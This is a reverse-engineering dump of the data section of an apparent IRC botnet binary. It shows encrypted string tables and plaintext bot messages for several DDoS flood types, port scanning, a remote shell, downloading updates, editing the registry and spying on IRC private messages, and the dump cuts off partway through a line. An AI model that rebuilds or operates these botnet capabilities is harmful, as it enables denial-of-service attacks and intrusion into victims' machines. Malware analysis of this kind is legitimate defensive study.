XREF: sub_403B2C+4Do ; sub_403B2C+97Co ... align 4 aNfknl0nqigy0 db 'NFKNL0nQigY0',0 ; DATA XREF: sub_403B2C+B2Bo ; sub_41D98A+48o align 4 aE0idd0rdw2u db 'e0idD0RDw2U/',0 ; DATA XREF: sub_403B2C+997o ; sub_41D98A+53o align 4 aS3dyJzo6r db 's3dY//JZo6r/',0 ; DATA XREF: sub_403B2C+13A5o ; sub_41D98A+61o align 4 aPdazx1odsoh0 db 'PDazX1oDSOh0',0 ; DATA XREF: sub_403B2C+7E5o ; sub_41D98A+6Co align 4 aUc6wg1ovwvt1 db 'uc6Wg1OvWVt1',0 ; DATA XREF: sub_403B2C+33o ; sub_403B2C+802o ... align 4 aDj9owUmrbd_ db 'dJ9OW/uMRBD.',0 ; DATA XREF: sub_403B2C+3E9o ; sub_41D98A+82o align 4 aP00ls0k4t_n1 db 'P00Ls0K4t.N1',0 ; DATA XREF: sub_403B2C+5B8o ; sub_41D98A+8Do align 4 aL3nyw_d7tfl_ db 'l3nYW.D7Tfl.',0 ; DATA XREF: sub_403B2C+4EAo ; sub_41D98A+98o align 4 aVsz2xXqjp5 db 'Vsz2x/xqJP5/',0 ; DATA XREF: sub_403B2C+885o ; sub_41D98A+A3o align 4 aPnb_aBfzu60 db 'pNb.a/Bfzu60',0 ; DATA XREF: sub_403B2C+1413o ; sub_41D98A+AEo align 4 aQbwgd0cfxf_ db 'qbwGd0CFxf./',0 ; DATA XREF: sub_403B2C+C9o ; sub_403B2C+1485o ... align 4 a2mo7g0_b0qj db '2mo7G0.B0qj/',0 ; DATA XREF: sub_403B2C+DAo ; sub_403B2C+1496o ... align 4 a1ylid_ejqp01 db '1YLId.eJQP01',0 ; DATA XREF: sub_403B2C+10FEo ; sub_41D98A+D2o align 4 a47ff020f_0_ db '47Ff/020f.0.',0 ; DATA XREF: sub_403B2C+14A7o ; sub_41D98A+DDo align 4 aHyomeIovtv_ db 'HyOMe/iovtV.',0 ; DATA XREF: sub_403B2C+B3o ; sub_403B2C+15CDo ... align 4 aPlsymAee6v1_0 db 'PlsYM/aEe6v1',0 ; DATA XREF: sub_403B2C+1645o ; sub_41D98A+F3o align 4 aCwxyh0ryouv1 db 'CwXYh0RYoUv1',0 ; DATA XREF: sub_403B2C+16A9o ; sub_41D98A+FEo align 4 aEavyh_ic0dc0 db 'eAvYh.IC0dc0',0 ; DATA XREF: sub_403B2C+16D4o ; sub_41D98A+109o align 4 aN1_5f0do0oh_ db 'N1.5f0Do0oH.',0 ; DATA XREF: sub_41D98A+117o align 4 aUz3rf_vtkug1 db 'uz3rf.VTKug1',0 ; DATA XREF: sub_403B2C+1783o ; sub_41D98A+122o align 4 aI3ncg_v5u4g_ db 'I3nCG.v5U4g.',0 ; DATA XREF: sub_403B2C+18D1o ; sub_41D98A+12Do align 4 a9bwj__lz2my0 db '9bWj..lZ2My0',0 ; DATA XREF: sub_403B2C+EBo ; sub_403B2C+18F8o ... align 4 aRiocl1kztwo0 db 'rioCl1kzTWO0',0 ; DATA XREF: sub_403B2C+21Co ; sub_403B2C+11F9o ... align 4 a_swwg1hqeii1 db '.SWwg1hqeiI1',0 ; DATA XREF: sub_403B2C+138Co ; sub_41D98A+14Eo align 4 aG3obv_r6j7h db 'g3obv.r6j7H/',0 ; DATA XREF: sub_403B2C+9Do ; sub_403B2C+BF2o ... align 4 aM5spx_qp7lx_ db 'M5sPX.Qp7Lx.',0 ; DATA XREF: sub_403B2C+D69o ; sub_41D98A+164o align 4 aF9ax112067l1 db 'f9aX112067l1',0 ; DATA XREF: sub_403B2C+F83o ; sub_41D98A+172o align 4 a_hioo_5pweu_ db '.HiOo.5pwEU.',0 ; DATA XREF: sub_403B2C+298o ; sub_41D98A+17Do align 4 aAjttz06ztse1 db 'ajTtz06Ztse1',0 ; DATA XREF: sub_403B2C+1AFEo ; sub_41D98A+188o align 4 aUn3hk0sn58o db 'uN3hk0sn58o/',0 ; DATA XREF: sub_403B2C+1B21o ; sub_41D98A+193o align 4 aQrn4z10ge1i1 db 'QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+1B50o ; sub_41D98A+19Eo align 4 aBvuso0ed3mw db 'bVUSO0ed3MW/',0 ; DATA XREF: sub_403B2C+1B72o ; sub_41D98A+1A9o align 4 a6x2ka0buubb_ db '6x2Ka0buUbB.',0 ; DATA XREF: sub_41D98A+1B4o align 4 aUqyil_iyvpi_ db 'uQYiL.iYvpI.',0 align 4 a4qyyh1q2ps1 db '4QyYH1q/2ps1',0 align 4 aH6nxu_8uvej_ db 'H6NXu.8uvEj.',0 align 4 aTvjro1ubgtg1 db 'TVJrO1uBGtg1',0 ; DATA XREF: sub_403B2C+41E7o ; sub_41D98A+1BFo align 4 aL80reUvcue1 db 'l80re/UvCUe1',0 ; DATA XREF: sub_403B2C+4193o ; sub_41D98A+1CDo align 4 aH1cmq0wqw5c_ db 'h1cMQ0wQw5C.',0 ; DATA XREF: sub_403B2C+8Co ; sub_403B2C+424Co ... align 4 a7tmte_meccn db '7Tmte.MEccn/',0 ; DATA XREF: sub_403B2C+133o ; sub_403B2C+477Eo ... align 4 aWn7_tNza2v db 'wN7.t/nZA2V/',0 ; DATA XREF: sub_403B2C+144o ; sub_403B2C+478Fo ... align 4 aGkyv90skypy db 'gkYv90Skypy/',0 ; DATA XREF: sub_403B2C+155o ; sub_403B2C+47A0o ... align 4 aX2yn5_2imz1 db 'X2yN5/.2ImZ1',0 ; DATA XREF: sub_403B2C+166o ; sub_403B2C+47B1o ... align 4 aNPbw1sdkiw_ db 'N/pbW1sDKiw.',0 ; DATA XREF: sub_403B2C+177o ; sub_403B2C+47C2o ... align 4 aFdxpb0leh21_ db 'fDxPB0lEh21.',0 ; DATA XREF: sub_403B2C+188o ; sub_403B2C+47D3o ... align 4 aVb1r0N_arr0 db 'vB1r0/N.Arr0',0 ; DATA XREF: sub_403B2C+199o ; sub_403B2C+47E4o ... align 4 aUts3o_rfmks_ db 'uts3o.RfmkS.',0 ; DATA XREF: sub_403B2C+1AAo ; sub_403B2C+47F5o ... align 4 aBpyvp_fw0vy1 db 'bPYVP.Fw0vY1',0 ; DATA XREF: sub_403B2C+1BBo ; sub_403B2C+4806o ... align 4 aQxqog1goyq80 db 'QXqOg1gOYq80',0 ; DATA XREF: sub_403B2C+1C8o ; sub_403B2C+4817o ... align 4 aVxa_uCdd7s0 db 'VXA.u/cDD7S0',0 ; DATA XREF: sub_403B2C+4233o ; sub_41D98A+254o align 4 aQc9zs1zgzff0 db 'Qc9zS1zGZff0',0 ; DATA XREF: sub_403B2C+1C4Do ; sub_41D98A+25Fo align 4 aWpuwr_6yfru db 'WpuWr.6YFRU/',0 ; DATA XREF: sub_403B2C+1C7Bo ; sub_41D98A+26Ao align 4 a4rmbzFcic21 db '4RmBz/FCic21',0 ; DATA XREF: sub_403B2C+1CBFo ; sub_41D98A+275o align 4 aSc_coSwlk_ db 'SC.Co/swLK/.',0 ; DATA XREF: sub_403B2C+1CE2o ; sub_41D98A+283o align 4 aWyf3k1fthkz_ db 'WyF3K1fTHKz.',0 ; DATA XREF: sub_403B2C+11Ao ; sub_403B2C+1DD9o ... align 4 aCwxsh_xflvu_ db 'cwXsH.xFlvu.',0 ; DATA XREF: sub_403B2C+1EC6o ; sub_41D98A+299o align 4 aKxor8_os17a0 db 'KxOR8.oS17a0',0 ; DATA XREF: sub_403B2C+1DA6o ; sub_403B2C+1E8Fo ... align 4 aSasd20nmhk50 db 'sAsD20NmhK50',0 ; DATA XREF: sub_403B2C+1D8Fo ; sub_403B2C+1EA9o ... align 4 aHpmch0pbq800 db 'HPmCH0PbQ800',0 ; DATA XREF: sub_403B2C+1FF7o ; sub_41D98A+2BAo align 4 aLees11vpbnf0 db 'LeEs11vPbnf0',0 ; DATA XREF: sub_403B2C+23A2o ; sub_41D98A+2C5o align 4 aLbjvg0r_qmb_ db 'lbJVg0r.qMb.',0 ; DATA XREF: sub_403B2C+23C1o ; sub_41D98A+2D0o align 4 aHj6vo0jrp9q0 db 'Hj6vo0JRP9Q0',0 ; DATA XREF: sub_403B2C+24A4o ; sub_41D98A+2DEo align 4 aR7wrsQhek_0 db 'r7WRs/qHek.0',0 ; DATA XREF: sub_403B2C+2557o ; sub_41D98A+2E9o align 4 aDuzcb0kgssv0 db 'DuzCb0KgSsv0',0 ; DATA XREF: sub_403B2C+27E1o ; sub_41D98A+2F4o align 4 aDqjso_47pdb db 'dQJSO.47pdb/',0 ; DATA XREF: sub_403B2C+29FCo ; sub_41D98A+2FFo align 4 aK9vUKkutm db 'K9V/U/KkuTM/',0 ; DATA XREF: sub_403B2C+2AC8o ; sub_41D98A+30Ao align 4 a7yfnz0pw11s1 db '7yfnz0PW11s1',0 ; DATA XREF: sub_403B2C+2B7Bo ; sub_41D98A+315o align 4 aNq_as1z1sit db 'nQ.As1Z1SIt/',0 ; DATA XREF: sub_403B2C+2C2Eo ; sub_41D98A+320o align 4 aUn3hk0sn58o_0 db 'uN3hk0sn58o/',0 ; DATA XREF: sub_403B2C+2C6Eo ; sub_41D98A+32Bo align 4 aQrn4z10ge1i1_0 db 'QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+2D13o ; sub_41D98A+339o align 4 aIegud0v_5_ db 'iEguD0V/.5/.',0 ; DATA XREF: sub_403B2C+2D53o ; sub_41D98A+344o align 4 aFc9kk1jx11g_ db 'fc9Kk1jX11G.',0 ; DATA XREF: sub_403B2C+2D98o ; sub_41D98A+34Fo align 4 aDnjq8Ze3zw db 'DnjQ8/ze3ZW/',0 ; DATA XREF: sub_403B2C+2E0Ao ; sub_41D98A+35Ao align 4 aVi0qa1mvfro1 db 'VI0QA1mvfro1',0 ; DATA XREF: sub_403B2C+2F5Fo ; sub_41D98A+365o align 4 aJdzdp05e7aw_ db 'jdZDp05E7aW.',0 ; DATA XREF: sub_403B2C+333Fo ; sub_41D98A+370o align 4 aW3gp6_13acy1 db 'W3GP6.13AcY1',0 ; DATA XREF: sub_403B2C+33A2o ; sub_41D98A+37Bo align 4 aZat3j_lm3ge1 db 'zAT3J.lm3Ge1',0 ; DATA XREF: sub_403B2C+34B7o ; sub_41D98A+386o align 4 aLjAmKzrtp1 db 'lJ/am/kZRtP1',0 ; DATA XREF: sub_403B2C+3502o ; sub_41D98A+394o align 4 aXzaru0amxhi_ db 'XZArU0aMxhi.',0 ; DATA XREF: sub_403B2C+35F6o ; sub_41D98A+39Fo align 4 aRa7e2Hhxpf0 db 'rA7E2/hHXPf0',0 ; DATA XREF: sub_403B2C+36EAo ; sub_41D98A+3AAo align 4 aRp4sr11cvr1 db 'Rp4sR11CvR1/',0 ; DATA XREF: sub_403B2C+380Bo ; sub_41D98A+3B5o align 4 aZqrvt0t6nmz_ db 'ZqrVt0t6nmZ.',0 ; DATA XREF: sub_403B2C+393Bo ; sub_41D98A+3C0o align 4 a1shta0bzfwk1 db '1ShtA0bzFwk1',0 ; DATA XREF: sub_403B2C+39EEo ; sub_41D98A+3CBo align 4 aAzcsp_hkilo_ db 'AZcsP.hkiLO.',0 ; DATA XREF: sub_403B2C+3A57o ; sub_41D98A+3D6o align 4 aIkgekKykjq1 db 'iKgEK/kyKJQ1',0 ; DATA XREF: sub_403B2C+4FCBo ; sub_41D98A+3E1o align 4 a6x7zf1eztny_ db '6x7zf1EztnY.',0 ; DATA XREF: sub_403B2C+4FDCo ; sub_41D98A+3EFo align 4 a7otcu0fic6v0 db '7otcU0FiC6V0',0 ; DATA XREF: sub_403B2C+4FEDo ; sub_41D98A+3FAo align 4 aMb05gVyf8f1 db 'mb05g/VYf8f1',0 ; DATA XREF: sub_403B2C+4FFEo ; sub_41D98A+405o align 4 aFyflu0ji3xh_ db 'FyFlU0jI3XH.',0 ; DATA XREF: sub_403B2C+500Fo ; sub_41D98A+410o align 4 aSbsip_o7v4b db 'SbsIp.o7V4B/',0 ; DATA XREF: sub_403B2C+5020o ; sub_41D98A+41Bo align 4 aN3saa1expwu1 db 'n3sAa1exPWU1',0 ; DATA XREF: sub_403B2C+6067o ; sub_41D98A+426o align 4 aBurnP75wk db '/BURN/P75Wk/',0 ; DATA XREF: sub_403B2C+62D4o ; sub_41D98A+431o align 4 aXkg84_cesgs_ db 'XkG84.cESgs.',0 ; DATA XREF: sub_403B2C+53B4o ; sub_41D98A+43Co align 4 aPsern1aagh6_ db 'pSern1AAGh6.',0 ; DATA XREF: sub_403B2C+5212o ; sub_41D98A+44Ao align 4 aUyfog_dvvny0 db 'UyfOG.DvVnY0',0 ; DATA XREF: sub_403B2C+5039o ; sub_41D98A+455o align 4 aP06vqBfbmo_ db 'p06vq/BFBMo.',0 ; DATA XREF: sub_403B2C+5564o ; sub_41D98A+460o align 4 a3vvsv1vurua db '3VVsV1VuRUA/',0 ; DATA XREF: sub_403B2C+5790o ; sub_41D98A+46Bo align 4 a2onvg1wfjmb1 db '2ONVG1WFjmb1',0 ; DATA XREF: sub_403B2C+57A9o ; sub_41D98A+476o align 4 aZqhijZaeza_ db 'ZqhIJ/ZaEZa.',0 ; DATA XREF: sub_403B2C+5999o ; sub_41D98A+481o align 4 aKmdie1uwntq db 'KmdIe1UwntQ/',0 ; DATA XREF: sub_403B2C+6489o ; sub_41D98A+48Co align 4 aUpx0wCz2ei0qrn db 'UPx0W/cz2EI0QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+6617o ; sub_41D98A+497o align 10h aV6jbh0k4uD_ db 'V6jBH0k4u/d.',0 ; DATA XREF: sub_403B2C+6649o ; sub_41D98A+4A5o align 10h aB2smo_whkew_qr db 'B2smo.WHkeW.QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+66E9o ; sub_41D98A+4B0o align 4 aX4cty1aeqwx db 'X4Cty1aEQwX/',0 ; DATA XREF: sub_403B2C+670Ao ; sub_41D98A+4BBo align 4 aEm42x_1iszi1 db 'Em42x.1IsZI1',0 ; DATA XREF: sub_403B2C+5E10o ; sub_41D98A+4C6o align 4 aErnniHm17t1qrn db 'ERNNi/HM17T1QRn4z10ge1I1',0 ; DATA XREF: sub_403B2C+603Eo ; sub_41D98A+4D1o align 4 aZk1tr0lpp5r0 db 'Zk1Tr0lpP5R0',0 ; DATA XREF: sub_403B2C+59B2o ; sub_41D98A+4DCo align 4 a6ldraK4kds db '6ldRA/K4kDS/',0 ; DATA XREF: sub_403B2C+5BB9o ; sub_41D98A+4E7o align 4 aX_62c_3ldcp db 'X.62C.3LDCP/',0 ; DATA XREF: sub_403B2C+5BD2o ; sub_41D98A+4F2o align 4 aWt4rnWgl6v_ db 'wt4Rn/WGL6V.',0 ; DATA XREF: sub_403B2C+5DF7o ; sub_41D98A+500o align 4 aXxulc08o9rf0 db 'Xxulc08O9rf0',0 ; DATA XREF: sub_403B2C+62EDo ; sub_41D98A+50Bo align 4 aFepmfZswfd db 'FEpMF/ZswFD/',0 ; DATA XREF: sub_403B2C+3AD6o ; sub_41D98A+516o align 4 aSud8hRsu8j1 db 'sUd8h/rsu8j1',0 ; DATA XREF: sub_403B2C+202o ; sub_403B2C+3B91o ... align 4 aJ2yyw_j09xc db 'j2yYw.J09XC/',0 ; DATA XREF: sub_403B2C+20Fo ; sub_403B2C+3CA7o ... align 4 a43ucs0rkqux_ db '43uCS0rkQUx.',0 ; DATA XREF: sub_403B2C+3D95o ; sub_41D98A+537o align 4 aZjiqo07c20 db 'ZjIqO/07c2/0',0 ; DATA XREF: sub_403B2C+4828o ; sub_41D98A+542o align 4 aA4pllAqpbg_ db 'a4pll/aQpBg.',0 ; DATA XREF: sub_403B2C+4A05o ; sub_41D98A+54Do align 4 aNn0i61ujg7h1 db 'NN0i61uJg7H1',0 ; DATA XREF: sub_403B2C+4D02o ; sub_41D98A+55Bo align 4 aEavyh_ic0dc0_0 db 'eAvYh.IC0dc0',0 ; DATA XREF: sub_403B2C+4857o ; sub_41D98A+566o align 4 aUfbss0cbo8c_ db 'uFbSS0Cbo8C.',0 ; DATA XREF: sub_403B2C+1D5o ; sub_403B2C+3DAEo ... align 4 aNoazx1alvg0 db 'NoaZx1Alvg/0',0 ; DATA XREF: sub_403B2C+1E9o ; sub_403B2C+3F55o ... align 4 aSOk db '%s OK',0 ; DATA XREF: sub_419B2F+27Bo align 10h aSFullTryLater db '%s Full try Later!',0 ; DATA XREF: sub_419B2F+242o align 4 aSSpyalertSS@SS db '%s SpyAlert: [%s!%s@%s] -> (Sent PM: "%s")',0 ; DATA XREF: sub_419B2F+14Bo align 10h aSSpyalertLogin db '%s SpyAlert: Login Attempt -> [%s!%s@%s] -> (Tried Pass: "%s")',0 ; DATA XREF: sub_419B2F+1F2o align 10h aSS_5 db '%s [%s] ~',0 align 4 aSILoggedOut db '%s [%i] logged out',0 align 10h aSNoUserLoggedA db '%s No user logged at slot: [%i]',0 aSInvalidLoginS db '%s Invalid login slot: [%i]',0 aSStoppedDThrea db '%s Stopped: [%d] thread(s)',0 ; DATA XREF: sub_403B2C+9D2o align 4 aSNoThreadSFoun db '%s No thread(s) found',0 ; DATA XREF: sub_403B2C:loc_40452Eo align 10h aSKilledThreadS db '%s Killed thread: [%s]',0 ; DATA XREF: sub_403B2C+A35o ; sub_403B2C+A56o align 4 aSFailedToKillT db '%s Failed to kill thread: [%s]',0 ; DATA XREF: sub_403B2C+A70o ; sub_403B2C+A91o align 4 aSSAlreadyRunni db '%s %s Already running at thread number: [%d]',0 ; DATA XREF: sub_403B2C+AB3o ; sub_403B2C+C26o ... align 4 aSFailedToStart db '%s Failed to start [%s], error: [%d]',0 ; DATA XREF: sub_403B2C+B97o ; sub_403B2C+E77o ... align 10h aSBoxSUpSBotupS db '%s Box: [%s], Up: [%s], BotUp: [%s], Connected For: [%s]',0 align 4 aS_6 db '[%s] ~',0 ; DATA XREF: sub_403B2C+274o align 4 aRemoveCmdRecei db 'Remove cmd received: [%s!%s@root]',0 ; DATA XREF: sub_403B2C+853o align 4 aUpdateCmdRecei db 'Update cmd received: [%s!%s@root]',0 ; DATA XREF: sub_40CDE2+625o align 4 aSMainThread db '%s Main thread',0 ; DATA XREF: sub_412267+39o align 4 aSAutosecure db '%s AutoSecure',0 ; DATA XREF: sub_412267+EFo align 4 aSMissingParamS db '%s Missing param(s)',0 ; DATA XREF: sub_403B2C+693o ; sub_403B2C+15E3o ... aSS_ db '%s %s.',0 ; DATA XREF: sub_403B2C+7338o ; sub_4177A2+56o align 4 aUnsecure db 'Unsecure',0 ; DATA XREF: sub_403B2C+732Co ; sub_403B2C+73B6o ... align 4 off_434A64 dd offset byte_636553 ; DATA XREF: sub_403B2C+72AFo aSNoSubnetCla_0 db '%s No subnet class specified',0 ; DATA XREF: sub_403B2C:loc_40AD5Ao align 4 aSNoIpSpecifi_0 db '%s No IP specified',0 ; DATA XREF: sub_403B2C:loc_40AD53o align 10h aSSPortscanSt_0 db '%s %s PortScan started on %s:%d with a delay of %d seconds for %d' ; DATA XREF: sub_403B2C+70CBo ; sub_403B2C+71BFo ... db ' minutes using %d threads',0 align 4 aSPortInvalid_ db '%s Port invalid.',0 ; DATA XREF: sub_403B2C+6DFAo align 10h aSInvalidPort_ db '%s Invalid port.',0 ; DATA XREF: sub_403B2C+6DDCo align 4 aSFailedToSta_4 db '%s Failed to start flood thread, error: <%d>.',0 ; DATA XREF: sub_403B2C+6A71o ; sub_403B2C+6A92o align 4 aSSSDForDSecs_ db '%s %s --> (%s:%d) for %d secs.',0 ; DATA XREF: sub_403B2C+6A15o align 4 aNormal db 'Normal',0 ; DATA XREF: sub_403B2C+69F2o align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_403B2C+69EBo aTcpThreads db 'Tcp Threads',0 ; DATA XREF: sub_403B2C+692Eo ; sub_403B2C+6950o aSSHttp1_1Refer db '%s %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_403B2C+67DCo db 'Referer: %s',0Dh,0Ah db 'User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; .N' db 'ET CLR 1.1.4322)',0Dh,0Ah db 'Host: %s',0Dh,0Ah db 'Connection: Keep-Alive',0Dh,0Ah db 0Dh,0Ah,0 align 4 aSSocketError_ db '%s Socket Error.',0 ; DATA XREF: sub_403B2C+675Eo ; sub_403B2C+6839o align 4 aSStopped_ db '%s Stopped.',0 ; DATA XREF: sub_403B2C+6700o aIexplore_exe db 'iexplore.exe',0 ; DATA XREF: sub_403B2C+66F5o ; .text:0043F714o align 4 aSSiteFailedToO db '%s Site failed to open.',0 ; DATA XREF: sub_403B2C+66C0o ; sub_403B2C+66DDo aSSiteOpened_ db '%s Site opened.',0 ; DATA XREF: sub_403B2C+6686o aOpen db 'open',0 ; DATA XREF: sub_403B2C+666Do ; sub_414810+3Bo ... align 4 aIexplore db 'iexplore',0 ; DATA XREF: sub_403B2C+6668o align 4 aVisit db 'Visit',0 ; DATA XREF: sub_403B2C+6622o align 4 aSS__0 db '%s --> (%s).',0 ; DATA XREF: sub_403B2C+6580o ; sub_403B2C+659Do ... align 4 aVisitThreads db 'Visit Threads',0 ; DATA XREF: sub_403B2C+6501o align 4 aVisitthreads db 'VisitThreads',0 ; DATA XREF: sub_403B2C+64DFo align 4 off_434CCC dd offset byte_504455 ; DATA XREF: sub_403B2C+62DFo aSSendingDToSPa db '%s Sending %d to: %s, Packet size: %d, Delay: %dms.',0 ; DATA XREF: sub_403B2C+6254o aSFailedToSta_3 db '%s Failed to start thread,error: <%d>.',0 ; DATA XREF: sub_403B2C+6213o ; sub_403B2C+6236o align 4 aUdpThreads db 'UDP Threads',0 ; DATA XREF: sub_403B2C+60C3o ; sub_403B2C+60E5o aHttpf db 'HTTPF',0 ; DATA XREF: sub_403B2C+6049o align 10h aSSDDPackets_ db '%s --> (%s:%d) %d packets.',0 ; DATA XREF: sub_403B2C+5F70o ; sub_403B2C+5FA1o ... align 4 aSNoDelay_ db '%s No delay.',0 ; DATA XREF: sub_403B2C:loc_409A6Eo align 4 aHttpfThreads db 'HTTPF Threads',0 ; DATA XREF: sub_403B2C+5E75o ; sub_403B2C+5E97o align 4 aTarga db 'Targa',0 ; DATA XREF: sub_403B2C+5E02o align 4 aSSDForDSecSWit db '%s --> (%s:%d) for %d sec',27h,'s with %d delay.',0 ; DATA XREF: sub_403B2C+5D15o ; sub_403B2C+5D50o ... align 10h aTargaThreads db 'Targa Threads',0 ; DATA XREF: sub_403B2C+5C2Eo ; sub_403B2C+5C50o align 10h aTaipan db 'TaiPan',0 ; DATA XREF: sub_403B2C+5BC4o align 4 aSSForDSecS db '%s --> (%s) for %d sec',27h,'s',0 ; DATA XREF: sub_403B2C+5B46o align 4 aSSDForDSecS db '%s --> (%s:%d) for %d sec',27h,'s',0 ; DATA XREF: sub_403B2C+5AEBo ; sub_403B2C+5B1Co aTaipanThreads db 'Taipan Threads',0 ; DATA XREF: sub_403B2C+5A0Eo ; sub_403B2C+5A30o align 10h aIgmp db 'IGMP',0 ; DATA XREF: sub_403B2C+59A4o align 4 aIgmpThreads db 'IGMP Threads',0 ; DATA XREF: sub_403B2C+5805o ; sub_403B2C+5827o align 4 aKdos db 'KDOS',0 ; DATA XREF: sub_403B2C+579Bo align 10h aSFailedToSta_2 db '%s Failed to start thread, error: (%d)',0 ; DATA XREF: sub_403B2C+573Eo ; sub_403B2C+575Fo align 4 aKdosThreads db 'KDOS Threads',0 ; DATA XREF: sub_403B2C+55C2o ; sub_403B2C+55E4o align 4 aSFailedToSta_1 db '%s Failed to start thread, error: (%d).',0 ; DATA XREF: sub_403B2C+51C1o aSSDForDSecs_ db '%s --> (%s:%d) for (%d secs).',0 ; DATA XREF: sub_403B2C+511Co ; sub_403B2C+514Do ... align 10h aTcp db 'Tcp',0 ; DATA XREF: sub_403B2C+502Bo aSFailedToWri_0 db '%s Failed to write: %s\%s\%s (%s)',0 ; DATA XREF: sub_403B2C+4F57o ; sub_403B2C+4F81o align 4 aSWroteKeySSSS db '%s Wrote key: %s\%s\%s (%s)',0 ; DATA XREF: sub_403B2C+4F00o ; sub_403B2C+4F2Ao aSFailedToWrite db '%s Failed to write: %s\%s\%s (%d)',0 ; DATA XREF: sub_403B2C+4E82o ; sub_403B2C+4EB2o align 4 aSSuccessfullyW db '%s Successfully wrote: %s\%s\%s (%d)',0 ; DATA XREF: sub_403B2C+4E2Co ; sub_403B2C+4E5Co align 10h aSQuerySSSS db '%s Query: %s\%s\%s: %s',0 ; DATA XREF: sub_403B2C+4CC5o align 4 aSFinishedDispl db '%s Finished displaying: %s\%s\%s',0 ; DATA XREF: sub_403B2C+4C85o ; sub_403B2C+4CACo align 4 aSDisplayingSSS db '%s Displaying: %s\%s\%s',0 ; DATA XREF: sub_403B2C+4BC8o ; sub_403B2C+4BEBo aSFailedToQue_0 db '%s Failed to query: %s\%s\%s',0 ; DATA XREF: sub_403B2C+4B76o ; sub_403B2C+4CE1o align 4 aSQuerySSSD db '%s Query: %s\%s\%s: %d',0 ; DATA XREF: sub_403B2C+4B4Do align 4 aSFailedToQuery db '%s Failed to query: %s\%s',0 ; DATA XREF: sub_403B2C:loc_408577o align 4 aSDoneWithQuery db '%s Done with query: %s\%s',0 ; DATA XREF: sub_403B2C+4A44o align 4 aSFailedToErase db '%s Failed to erase key: %s\%s\%s',0 ; DATA XREF: sub_403B2C+49CDo ; sub_403B2C+49F8o align 4 aSErasedKeySSS db '%s Erased Key: %s\%s\%s',0 ; DATA XREF: sub_403B2C+497Eo ; sub_403B2C+49A9o aSFailedToSta_0 db '%s Failed to start scan thread, error: <%d>.',0 ; DATA XREF: sub_403B2C+4698o ; sub_403B2C+46B9o ... align 10h aSSPortscanStar db '%s %s PortScan started on %s:%d with a delay of %d seconds for %d' ; DATA XREF: sub_403B2C+4628o db ' minutes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_403B2C+4612o ; sub_403B2C+46F6o ... align 4 aRandom db 'Random',0 ; DATA XREF: sub_403B2C+460Bo ; sub_403B2C+46EFo ... align 10h aSNoSubnetClass db '%s No subnet class specified.',0 ; DATA XREF: sub_403B2C+4529o align 10h aSNoIpSpecified db '%s No IP specified.',0 ; DATA XREF: sub_403B2C+443Bo aD_x_x_x db '%d.x.x.x',0 ; DATA XREF: sub_403B2C+43B9o ; sub_403B2C+6E50o align 10h aX_x_x_x db 'x.x.x.x',0 ; DATA XREF: sub_403B2C+4386o ; sub_403B2C+6E1Do aSInvalidPort db '%s Invalid port',0 ; DATA XREF: sub_403B2C+4370o aSDownloading_0 db '%s Downloading update',0 ; DATA XREF: sub_403B2C+416Ao align 10h aSDownloadingUp db '%s Downloading update to: (%s)',0 ; DATA XREF: sub_403B2C+40CBo align 10h aSmsoftDDDDD_ex db '%smsoft%d%d%d%d%d.exe',0 ; DATA XREF: sub_403B2C+4035o align 4 aSDownload db '%s Download',0 ; DATA XREF: sub_403B2C+3F3Ao aSDownloadingTo db '%s Downloading to: %s.',0 ; DATA XREF: sub_403B2C+3E9Bo align 4 aSCommandsS_ db '%s Commands: %s.',0 ; DATA XREF: sub_403B2C+3D5Ao align 10h aSErrorSendingT db '%s Error sending to shell.',0 ; DATA XREF: sub_403B2C+3D4Co align 4 aSShellReady_ db '%s Shell ready.',0 ; DATA XREF: sub_403B2C+3C7Do ; sub_403B2C+3C9Bo aSCouldnTOpenSh db '%s Couldn',27h,'t open shell.',0 ; DATA XREF: sub_403B2C+3C3Bo aSRemoteShellRu db '%s Remote shell running.',0 ; DATA XREF: sub_403B2C+3BECo align 10h aSSystemcallSen db '%s SystemCall sent: "%s"',0 ; DATA XREF: sub_403B2C+3B74o align 4 aSSystemcallFai db '%s SystemCall failed.',0 ; DATA XREF: sub_403B2C+3B57o align 4 aSUnloaded_ db '%s Unloaded.',0 ; DATA XREF: sub_403B2C+3AA5o align 4 aSNickservDrop db '%s nickserv drop',0 ; DATA XREF: sub_403B2C+3A72o align 4 aSNickservRegis db '%s nickserv :register pass103 %s',0 ; DATA XREF: sub_403B2C+3A3Ao align 4 aS@S_com db '%s@%s.com',0 ; DATA XREF: sub_403B2C+3A1Do align 4 aSMemoservSendS db '%s memoserv :send %s %s',0 ; DATA XREF: sub_403B2C+39D1o dword_4352C0 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 73252220h ; DATA XREF: sub_403B2C+3385o dd 31322022h, 30373033h, 33333436h, 1642520h, 0 aAAAAAAAAAAAAAA db 'a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a' ; DATA XREF: sub_403B2C+3372o db ' a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a ' db 'a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a' db ' a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a ' db 'a a a a',0 aSSDccSendCS db '%s %s :DCC SEND C:\\\\%s',0 ; DATA XREF: sub_403B2C+32E4o align 10h dword_435410 dd 25207325h, 23A2073h, 25323103h, 73250373h, 25323103h ; DATA XREF: sub_403B2C+32C4o dd 20373h dword_435428 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 20732520h ; DATA XREF: sub_403B2C+3295o dd 30333132h, 34363037h, 25203333h, 164h dword_43544C dd 25207325h, 13A2073h, 20434344h, 444E4553h, 2E642520h ; DATA XREF: sub_403B2C+3265o dd 20657865h, 63657845h, 6E697475h, 69662067h, 2520656Ch dd 164h dword_435478 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 2E642520h ; DATA XREF: sub_403B2C+322Bo dd 20747874h, 6E65704Fh, 25206465h, 202C2064h, 64616572h dd 2C676E69h, 706D6F63h, 6574656Ch, 202D2064h, 6F6C7075h dd 63206461h, 6C706D6Fh, 21657465h, 1 dword_4354C4 dd 25207325h, 13A2073h, 20434344h, 444E4553h, 576F5720h ; DATA XREF: 